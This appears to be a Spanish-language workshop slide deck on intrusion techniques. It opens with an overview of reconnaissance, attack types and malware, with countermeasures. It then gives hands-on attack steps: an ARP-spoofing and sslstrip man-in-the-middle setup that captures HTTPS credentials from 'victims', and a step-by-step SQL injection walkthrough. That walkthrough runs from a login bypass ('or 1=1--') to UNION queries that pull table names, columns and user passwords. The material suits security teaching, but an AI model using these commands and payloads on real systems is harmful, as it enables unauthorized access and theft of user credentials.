Tecnicas de Intrusion 3
Tecnicas de Intrusion 3
Tecnicas de Intrusion 3
Un ataque ocurre cuando una persona o un grupo de personas intenta acceder, modificar o daar un sistema o entorno. Estos ataques generalmente intentan lograr algunos de estos objetivos: Atacar la privacidad
Las personas que atacan sistemas se ven motivadas por diferentes razones: Por diversin o desafo. Por venganza. Por terrorismo. Rdito econmico. Ventaja competitiva. Poder
I N V E S T I G A C I O N
Siempre antes de realizar un ataque, los intrusos realizan un estudio del objetivo. Generalmente consiste en obtener la siguiente informacin:
Informacin de la empresa objetivo. Informacin del dominio objetivo: conociendo el nombre de la empresa se puede obtener su informacin de dominio a travs de consultas tipo WHOIS. Informacin de los servidores: una vez que el intruso obtuvo el dominio, puede realizar consultas NSLOOKUP para conocer cules son los servidores que tiene la empresa.
I N V E S T I G A C I O N
Identificacin de la plataforma: uno de los principales datos que buscan de sus objetivos es la plataforma sobre la que trabajan (Windows, Linux, Novell, etc.). Esto se puede realizar mediante la utilizacin de tcnicas de OS fingerprint | Banner Identification. Identificacin de los servicios: otra informacin importante que buscan obtener los atacantes son los servicios que ofrecen los servidores objetivos. Esto se puede realizar mediante escaneadores de puertos (port-scanners) Contramedidas: Como primer contramedida, es necesario restringir la informacin que se difundir a travs de los servicios de DNS y WHOIS. Tambin se puede incluir filtrado de paquetes, para evitar la deteccin de la plataforma y los servicios y un Sistema de Deteccin de Intrusos (IDS) para detectar cuando se est produciendo un escaneo de puertos.
I N V E S T I G A C I O N
P E N E T R A C I O N
En esta situacin el atacante intentar acceder al objetivo. Para realizar este paso, utilizan diferentes tcnicas:
Explotacin de vulnerabilidades: existe algn producto instalado que permita la ejecucin de cdigo arbitrario. Debilidad de contraseas: una contrasea dbil puede permitir el ingreso de intrusos. Servicios mal configurados: un servicio que no est adecuadamente configurado puede permitir que intrusos hagan uso abusivo del mismo, o incluso, que ejecuten cdigo arbitrario.
P E N E T R A C I O N
Contramedidas:
Explotacin de vulnerabilidades: actualizacin constante del software instalado. Debilidad de contraseas: definir una poltica de contraseas robusta. Servicios mal configurados: revisar peridicamente la configuracin de los servicios.
Como contra-medida general, siempre tenemos que tener en cuenta al filtrado de paquetes y la revisin peridica de los archivos de logs para conocer los eventos que han sucedido en el sistema.
P E N E T R A C I O N
E X P A N S I O N
En este punto podramos decir que la tarea del intruso ha llegado a su objetivo. A partir de aqu, podemos esperar diferentes acciones por parte del intruso: Desaparecer sin dejar rastro Avisar al administrador que se ha ingresado al sistema Comentar los fallos de seguridad encontrados a sus colegas Hacer pblicos los fallos de seguridad
Como vimos anteriormente, la seguridad debe proveer: 1) integridad, 2) disponibilidad y 3) confidencialidad de la informacin. Un ataque puede tener diferentes efectos:
Nos referimos a INTERCEPTACION cuando un usuario no autorizado obtiene acceso a la informacin. Ataques de interceptacin: Eavesdropping (Sniffing| AIRSniffing | War Driving y Netstumbling | Desbordamiento de CAM | VLAN hopping | STP manipulation)
En un ataque por MODIFICACION, un usuario malicioso generalmente obtiene acceso no autorizado a un recurso con los privilegios necesarios para cambiarlo. Modificar un flujo de datos en una transmisin de red o archivos en un servidor pueden ser ejemplos de estos ataques. Ataques de modificacin: Man-in-the-Middle (DHCP Starvation| Manipulacin de datos
La FALSIFICACION puede aplicarse a la creacin de nuevos objetos dentro del sistema, o simplemente participar en una conversacin simulando ser otro interlocutor. Ataques de falsificacin: IP Spoofing MAC Address Spoofing
La FALSIFICACION puede aplicarse a la creacin de nuevos objetos dentro del sistema, o simplemente participar en una conversacin simulando ser otro interlocutor. Ataques de falsificacin: IP Spoofing MAC Address Spoofing
Se define como todo programa o fragmento del mismo que genera algn tipo de problema en el sistema en el cual se ejecuta, interfiriendo de esta forma con el normal funcionamiento del mismo. Existen diferentes tipos de cdigo malicioso: Bombas lgicas: Se encuentran diseados para activarse ante la ocurrencia de un evento definido en su lgica. Troyanos: Suele propagarse como parte de programas de uso comn y se activan cuando los mismos se ejecutan. Gusanos: Tienen el poder de autoduplicarse causando efectos diversos. Cookies: Son archivos de texto con informacin acerca de la navegacin efectuada por el usuario en Internet e informacin confidencial del mismo que pueden ser obtenidos por atacantes. Keyloggers: Es una aplicacin destinada a registrar todas las teclas que un usuario tipea en su computadora; algunos de ellos adems registran otro tipo de informacin til para un atacante, como ser, imgenes de pantalla. Spyware: Aplicaciones que recogen y envan informacin sobre las pginas web que ms frecuentemente visita un usuario, tiempo de conexin, datos relativos al equipo en el que se encuentran instalados (sistema operativo, tipo de procesador, memoria, etc.) e, incluso, hay algunos diseados para informar de si el software que utiliza el equipo es original o no.
Resumen
1: Introduccin 2: Footprinting e Ingeniera Social 3: Escaneo y Enumeracin 4: SystemHacking 5: Malware (Troyanos, Backdoors, Virus & Gusanos) 6: Sniffers (MITM..) 7: Denegacin de Servicio y Hijacking de Sesin 8: Web Hacking 9: Wireless Hacking 10:Craking 11: Seguridad Fsica
nmap | meduza | hydra | tsgrinder | Pwdump| john | ettercap | sslstrip | metasploit | UCSniff| Nessus | Telnet Evilgrade| Fasttrack| Paros|BeEF|DSniff|Samurai|WifiSlax|SQLNinja| Xssploit|WebShag|aircrack-ng|kismet|kismac|La Cabeza|..
Mini Taller 1: Asegurar utilizando SSL o cifrado a nuestras comunicaciones no siempre es la mejor opcin.
Que es ettercap? Que es ARP? Que es MITM? Que es SSLStrip? Que es un Fake SSL Attack? Que es un Null Prefix Attack SSL? Como funciona, todo esto? Algunos consejos para defendernos
Que es ettetcap? es un interceptor/sniffer/registrador para LANs con switch. Soporta direcciones activas y pasivas de varios protocolos (incluso aquellos cifrados, como SSH y HTTPS). Tambin hace posible la inyeccin de datos en una conexin establecida y filtrado al vuelo aun manteniendo la conexin sincronizada gracias a su poder para establecer un Ataque Man-in-the-middle(Spoofing). Muchos modos de sniffing fueron implementados para darnos un conjunto de herramientas poderoso y completo de sniffing. Que es el ARP? El protocolo ARP es un protocolo de capa 3 utilizado para traducir direcciones IP (por ejemplo: 192.168.1.1) a direcciones fsicas de tarjeta de red , direcciones MAC (por ejemplo: 0fe1.2ab6.2398).
EL ANTES :)
Puertos Seguros o Trusted Ports? This is one of the first security patterns implemented on the internet, via r or remote programs. The idea is that all ports below 1024 were assigned ONLY to system processes. This means remote connections were trusted because if the port was below 1024 it was a system process and not a user/client. This affects layer 4 Transport of the OSI-Model and the protocols involved were TCP and UDP. It should be noted that this is an old process for security that modern encryption has replaced via SSH. Que es SSLStrip? Es una tool que nos permite sniffar usuarios y contraseas encriptadas en HTTPS. Esto lo hace realizando un ataque MITM entre el servidor y nuestro objetivo conectandose al servidor mediante HTTP (sin encriptar) en lugar de HTTPS (encriptado) con lo que los datos son visibles.
Manos a la Obra XD
nmap -sC -O 192.168.27.0/24 cat /proc/sys/net/ipv4/ip_forward echo "1" > /proc/sys/net/ipv4/ip_forward Redirige el trafico proveniente del puerto 80 al 8080 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 8080 ARP MITM arpspoof -i eth0 -t 192.168.27.199 192.168.27.1 python sslstrip.py -a -l 8080 -w captura tail -f captura (Esperando a las vctimas)
Entradas estaticas no ARP (arp -s [ip_address] [mac_address]) Port Security: ARP Watch Estando atentos! (arp -a) IDS/IPS para detectar el Poisoning Recordar siempre: Las contraseas son como la ropa interior, debemos cambiarlas de tanto en tanto y nunca debemos compartirlas!!!
// ==UserScript== // @name https Link Rewriter for Facebook.com // @namespace http://not.existant // @description Rewrites the facebook.com links to use https. Created by Brian Quan // @version 1.1 // @include http://*.facebook.com/* // @include https://*.facebook.com/* // ==/UserScript==
var allLinks = document.getElementsByTagName('a'); for(var i=0; i < allLinks.length; i++) { // check if the link href matches pattern allLinks[i].href = allLinks[i].href.replace('http://www.facebook.com','https://www.facebook.com'); allLinks[i].href = allLinks[i].href.replace('http://apps.facebook.com','https://apps.facebook.com'); } var allLinks2 = document.getElementsByTagName('form'); for(var i=0; i < allLinks2.length; i++) { allLinks2[i].action = allLinks2[i].action.replace('http://www.facebook.com','https://www.facebook.com'); allLinks2[i].action = allLinks2[i].action.replace('http://apps.facebook.com','https://apps.facebook.com'); }
Fake certificate? Null prefix attack? Si nos creamos nuestro propia CA? Spoof certificate? *\0.midominio.com.ar
Herramientas Open Source para Segurizar Plataformas http://forkbomb.org/ninja/ Grsecurity (Kernel) Mod-Security (Apache) BSD (Firewalls Front End) Ossim (Monitoreo) Cacti/Nagios/Zabbix (Monitoreo) Auth2DB (Centralizacin de logs) SSL Kerberos (MIT) Snort Fail2Band Cabezota!
SQL Injection
Sin lugar a dudas esta tcnica es una de las mas peligrosas que hay en una aplicacin, ya sea WEB o de Escritorio, por la potencia que tiene y la capacidad de poder ingresar a un sistema de una forma eficaz. Por practica puedo decir que es una de las vulnerabilidad mas comunes y una de las mas verstiles a la hora de pentestar un sistema =)
SQL Injection
Segn Wikipedia:
"Inyeccin SQL es una vulnerabilidad informtica en el nivel de la validacin de las entradas a la base de datos de una aplicacin. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con cdigo SQL. Es, de hecho, un error de una clase ms general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programacin o de script que est incrustado dentro de otro. Una inyeccin SQL sucede cuando se inserta o "inyecta" un cdigo SQL "invasor" dentro de otro cdigo SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el cdigo "invasor" en la base de datos."
Hablando en criollo son variables no sanadas o filtradas incluidas en querys pudiendo este introducir comandos arbitrarios q luego seran interpretados por la DB
SQL Injection
SEGUN WIKIPEDIA bypass se refiere, en general, a una ruta alternativa a otra normal. Bypass, en hacking, forma de esquivar un sistema de seguridad informtico; o tambin enfoque distinto para solucionar un problema informtico
SQL Injection
Este es un panel echo a proposito con este bug
Estas son las lineas del bug: Aqui lo que pasa por el formulario, el usuario y password lo llevamos a la variable $usuario y $password, luego automaticamente sin colocar alguna seguridadlo vuelca a la consulta SQL. Si yo colo como nombre admin y password 123456, la consulta arrojara un TRUE y traeria datos de la base de datos ya que para el usuario admin el password es 123456.
SQL Injection
Nota: los string en msql son delimitados por comillas simples (') entonces nosotros para poder inyectar tendremos q escaparnos o cerrar esta comilla simple. SELECT * FROM usuarios WHERE usuario=''' AND password='' como vemos en el campo usuarios hay 3 comillas simples las 2 de afuera son del programador y las del medio la nuestra . Esto arrojaria un error, en este caso seria el siguiente
Error en la Consulta: SELECT * FROM usuarios WHERE usuario=''' AND password=''Error en la consultaYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1 Aqui mysql esta diciendo especificamte q hay una comilla simple sin cerrar =) eto es loq aprovechamos nosotros
SQL Injection
Para bypasear el login facilmete sin saber el usuario y pasword podemos ingresar 'or 1=1-- . Esto lo q ahce es ingresar con el primer rejistro de nuestra tabla Usuarios. Para que se entienda mejor: SELECT * FROM usuarios WHERE usuario='' AND password=''or 1=1-- ' La comilla ingresada por nosotros cierra la primera comilla simple. Luego de cerrar podemos proceder a colocar nuestras sentencias. or 1=1 la sentencia or significa que si algo es verdadero entonces todo es verdadero, y como 1=1 es verdadero entonces toda nuestra consulta sera verdadera por mas que no hallamos dicho el usuario es igual a ''. Or se comporta de esta forma. 1- V or V = Verdadero 2- V or F = Verdadero 3- F or V = Verdadero * 4- F or F = Falso
SQL Injection
'or 1=1-' = La Comilla ingresada por nosotros cumple la funcion de cerra la del programador. or 1=1 = La sentencia or significa q si algo es vedadero y en este caso segun el
comportamiento de or 1=1 todo es verdadero.
= En SQL significa comentario, por loq encontonces todo lo q bien depues se lo toma
com comentario
SQL Injection
SQL Injection
SQL Injection
SQL Injection
SQL Injection
Ahora buscaremos la columna q printee las respuestas de nuestra inyeccion, generalemte los numeros q aprecen son los q printean
Bien supongamos q en la web nos aparecio el numero 3 entonses para estar seguros hacemos lo siguiente index.php?id=-1+UNION+ALL+SELECT+1,2,version(),4-esto nos devolveria com resultado la version de la db, este es un dato importante porq dependiendo de la version varia el ataque.
SQL Injection
Informacion Util
version () : Devuelve la versin del servidor MySQL. database() : Devuelve el nombre de la base de datos actual. current_user() : Devuelve el nombre de usuario y el del host para el que est autentificada la conexin actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de acceso. Puede ser diferente del valor de USER(). last_insert_id() : Devuelve el ltimo valor generado automticamente que fue insertado en una columna AUTO_INCREMENT. connection_id() : Devuelve el ID de una conexin. Cada conexin tiene su propio y nico ID. @@datadir directorio de la db.
SQL Injection
NOTA:
El soporte para INFORMATION_SCHEMA est disponible en MySQL 5.X.X y posterior. Proporciona acceso a los metadatos de la base de datos. Metadatos son datos acerca de los datos, tales como el nombre de la base de datos o tabla, el tipo de datos de una columna, o permisos de acceso. Otros trminos que a veces se usan para esta informacin son diccionario de datos o catlogo del sistema .
SQL Injection
INFORMATION_SCHEMA SCHEMATA proporciona informacin acerca de db. INFORMATION_SCHEMA TABLES proporciona informacin de las tablas en las db. INFORMATION_SCHEMA COLUMNS proporciona informacin de las columnas en las db. INFORMATION_SCHEMA STATISTICS proporciona informacin acerca de los ndices de las tablas. INFORMATION_SCHEMA USER_PRIVILEGES proporciona informacin acerca de permisos globales. INFORMATION_SCHEMA SCHEMA_PRIVILEGES proporciona informacin acerca del esquema de permisos INFORMATION_SCHEMA TABLE_PRIVILEGES proporciona informacin de permisos de tablas. INFORMATION_SCHEMA COLUMN_PRIVILEGES proporciona informacin acerca de permisos de columnas. INFORMATION_SCHEMA CHARACTER_SETS proporciona informacin acerca de los caracteres disponibles. INFORMATION_SCHEMA COLLATIONS proporciona informacin acerca de colaciones para cada conjunto de caracteres. INFORMATION_SCHEMA COLLATION_CHARACTER_SET_APPLICABILITY indica qu conjunto de caracteres es aplicable a cada
colacin.
INFORMATION_SCHEMA TABLE_CONSTRAINTS describe qu tablas tienen restricciones. INFORMATION_SCHEMA KEY_COLUMN_USAGE describe qu columnas clave tienen restricciones. INFORMATION_SCHEMA ROUTINES proporciona informacin acerca de rutinas almacenadas (procedimientos y funciones). INFORMATION_SCHEMA VIEWS proporciona informacin acerca de las vistas en las bases de datos. INFORMATION_SCHEMA TRIGGERS proporciona informacin acerca de disparadores.
SQL Injection
SQL Injection
Ahora navegamos por las tablas, para esto agergamos +limit+1,1-- al final de la inyeccion q tenemos
-1+union+select+1,2,table_name,4+from+information_schema.tables+limit+1,1--
cambiando el valor del limit vamos sacando los nombres de las tablas
.php?id=-1+union+select+1,2,table_name,4,5+from+information_schema.tables+limit+1,1-COLLATIONS .php?id=-1+union+select+1,2,table_name,4,5+from+information_schema.tables+limit+2,1-COLLATION_CHARACTER_SET_APPLICABILITY -1+union+select+1,2,table_name,4,5+from+information_schema.tables+limit+3,1-COLUMNS
SQL Injection
Ya exploramos todas las tablas y tenemos los nombres, ahora elejimos la que cosideremos importante por ejeplo usuarios. Vamos a ver las columas q tiene dicha tabla, esto se logra practicamte como lo hicimos con las columnas anteriormente pero ahora usaremos el information_schema.columns y le diremos que nos de las columnas de usuarios, lo aremos de la siguiente manera
http://web.com/vuln.php?id=1+union+select+1,2,column_name,4,5+from+information_schema.c olumns+where+table_name=char(85,115,117,97,114,105,111,115)
SQL Injection
SQL Injection
Aqui la explicacion
+where+table_name=char(85,115,117,97,114,105,111,115) where ( donde ) table_name ( nombre de la tabla ) char(85,115,117,97,114,105,111,115) es el nombre de la tabla Usuarios en ASCII 85 =U 115=s 117=u 97 =a 114=r 105=i 111=o 115=s lista de valores en asii http://www.ascii.cl/es/
SQL Injection
Hacemos lo mismo agregamos el limit y vamos scando las columnas de la tabla users
.php?id_rubro=1+union+select+1,2,column_name,4,5+from+information_schema.columns+where+table_name=char(85,115,117,97, 114,105,111,115) .php?id=1+union+select+1,2,column_name,4,5+from+information_schema.columns+where+table_name=char(85,115,117,97, 114,105,111,115)+limit+2,1-.php?id=1+union+select+1,2,column_name,4,5+from+information_schema.columns+where+table_name=char(85,115,117,97, 114,105,111,115)+limit+3,1-+limit+2,1--
SQL Injection
Ya tenemos las tablas y las columnas ahora usaremos la funcion concat_ws que concatena las columnas para extraer sus datos Nos quedaria algo asi:
.
php?id=-1+union+select+1,2,concat_ws(0x3a,Usser,Pass,email_usuario),4,5+from+Usuarios
En el caso q exista mas de un usuario se agrega nuevamte el limit para navegar entre ellos
nota: el primer 0x3a es el codigo Hexadecimal de el caracter : asi con eso separamos los datos
SQL Injection
Ya tenemos las tablas y las columnas ahora usaremos la funcion concat_ws que concatena las columnas para extraer sus datos Nos quedaria algo asi:
.
php?id=-1+union+select+1,2,concat_ws(0x3a,Usser,Pass,email_usuario),4,5+from+Usuarios
En el caso q exista mas de un usuario se agrega nuevamte el limit para navegar entre ellos
nota: el primer 0x3a es el codigo Hexadecimal de el caracter : asi con eso separamos los datos
Muchas gracias!!!!